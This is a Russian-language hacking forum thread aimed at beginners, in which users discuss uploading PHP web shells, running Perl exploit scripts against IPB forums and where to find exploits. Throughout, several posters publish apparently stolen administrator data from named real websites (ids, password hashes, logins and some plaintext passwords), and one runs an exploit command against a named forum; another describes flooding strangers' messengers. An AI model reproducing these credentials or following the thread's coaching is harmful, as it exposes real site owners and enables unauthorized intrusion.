Простейшие способы взлома.(Начинающим)

tuy, не заливай шелл, просто залей архив пхп, в нём напишы <?php echo"Tralala"; ?>, и запусти эту страницу. Так ты поймёш если проблема с заливкой файлов или с самим шеллом

Добавлено через 1 минуту
у меня была такая проблема что некоторые шеллы конфликтовали с движком форумов...

 

ДОС - это такая ось была а DoS - это атака )

 

попробовал залить .php с <?php echo"Tralala"; ?>, опять вышла 500 ошибка , залил .html с этой же вставкой, ошибка не появилась но и вставка не сработала((
послушаюсь совета кулера, брошу я этот неблагодарный сайт, займусь другим=)

 

Скорей всего у тя не хватает прав на создание интерпретируемого php.
А насчёт совета Коллера, это правильно, интернет большой… ))

 

Взял за 5 минут... Лоховской форумец канешн, но это так, для разминки...

http://be-be.be/bebeka/be.be?http://be-be.be/bebeka/be.be?
id: 2
hash: 61a38b1fc910a3f63e9363141b04d30c
login: Хоборотень
password: ЛОХ

Наверное глупость спрашиваю, но всеже, есть ли эксплоит под IPB 2.3.5, версия из новых и наверное для того чтобы достать хэш надо использовать другие средства? Или всеже есть эксплоит, пусть в привате?

Можно узнать какие-нибудь распространенные источники эксплоитов?

---------------------------

Решил поприкалываться перед предстоящем матчем. Беру асечный поиск по стране, выискиваю испанцев в сети и с мессагой 'From Russia with love We are the champions' - флужу, пока нум фпинду не улетит

 

ыыы... Они так и не залатали эту дыру. Этот сайт был 6 по счёту который у меня нашолся в гугле. Как давно это было... Но пароль они сменили )))
А сплоиты смотри на секьюритилаб.

 

http://ipbpb.ru/
id: 1
hash: 28ab2d18c671e8c0c54723c6916744f4
login: Ale)(
password:

Добавлено через 5 минут
http://rotaru-club.ru/forum/
id:1
hash:28c86a0a3a1183d7f1d6baedb83bc588
login:admin
password:

Добавлено через 15 минут
http://www.magicey.web44.net/
id:1
hash:17e7065abb1af1486d5b4c86ace385af
login:ekoikpp
password:

Добавлено через 34 минуты
http://www.19th.ru/
id:1
hash:1eb7f1a37f5d3057f1957e3d7aa74fce
login:19th
password:

Добавлено через 44 минуты
Снова be-be.be, только id 1=)
id:1
hash:bb3d9387ca2b4ba20dda3fbcff77f82b
login:Жаба
password:Nhjkktq,ec

Добавлено через 3 часа 4 минуты
http://www.trainsim.ru/depo/
id:1
hash:26ad8c6999b2dc3d3196dc628ae32c00
login:BIGMAN
password:

Добавлено через 3 часа 14 минут
http://socionics.kiev.ua/f/index.php
id:1
hash:7fe63678d4dce2a7ac37a647dcc0e65f
login:Admin
passwordermit

 

вот исчОо=) ставлю хайд.. чтобы Всякие одаренные нелазили и не гадили на форумах=)

UnHidden Content:

http://saechka.ru/forum/
id:1
hash:7eb75666246da5db0ed27b514edeb9ee
login:Saechka
password:09dE36t

http://forum.chiny.com.ru/
id:1
hash:7eb75666246da5db0ed27b514edeb9ee
login:Jey_k
password:illusion

http://www.sibintercom.ru/
id:1
hash:c051d1782928e8671f5ece4198518f3e
login:admin
Fantom : 248245

http://www.kvotvet.ru/forum/index.php
id:1
hash:a35a5c05c975a6feede94ba679bfcc27
login:root
password:AlEvTiNa

 

Zub1K сможеш проделать такое с форумом булки?

 

Помогите очень срочно!!!!

У меня свой чат. я там не системный, и заморочек всех не знаю. Но ко мне приходит пользователь и пишет у меня в комнатах что то. Просто какие то закарюки, даже не знаю как бы понятней объяснить. Но вот напишет он эти значки ( закарючки ) И у меня в чате начинаются косяки разные. Зарегестрироваться не могу. потом в комнату попасть никак - все ошибки пишет, в профиль тоже не зайти. и кругом такие вот ошибки. я бы хотела узнать как именно он их пишет. И если я сама их напишу в лругом чате, похожим по типу на мой, там тоже такие оштбки появятся? Заранее благодарна за ответ...

 

Алиса_Я666,
вы немного не в ту тему отписались...отпишите пожалуйста ваш пост снова в разделе для новичков. Эта тема создана для обсуждений конкретной уязвимости...

 

[~] SEARCHING PASSWORD ... [ FAILED ]
Сорь конечно=) Я нуб, ещё учусь, что это означает?... плз скажите, и что мне надо сделать?

 

KyMaP, хеш пасса одмина не добыт. Либо неподходящая версия ИПБ, либо пофиксили. Попробуй заюзать другой эксплойт.

 

пасиб=) А терь скажи плз, де жоставать эксплойты...=) (i am sooo noob=))))

 

На разных серваках. на милворме например

 

напиши полный сайт на английском плз=)

 

C:\perl\bin\perl C:\111\12.pl united-rap.ru/forum/ 2 1 вот решил проверить этот способ но нечего не вылезло и так же др форумы пробовал, на разных движках разных форумов ничего не вылазит навряд ли все 20 форумов которые на которых я практиковался имели полную защиту основываясь на этом я подумал что в коде у меня что то не то, правильно ли я все делаю?

 

Zik надо сначала версию форума узнать (www.united-rap.ru/forum/ - IPB2.3.1) Этот сплоит 12.pl не покатит. Как узнавать версию форума (если внизу не написано) юзаем гугл (а вообще на античате много об этом писали)

 

Все ето под линуксом проделать можно ?О_о

 

У меня пишет что-то, вроде FAILED, и сразу закрывается(я рассмотреть не успеваю), подскажите что делать?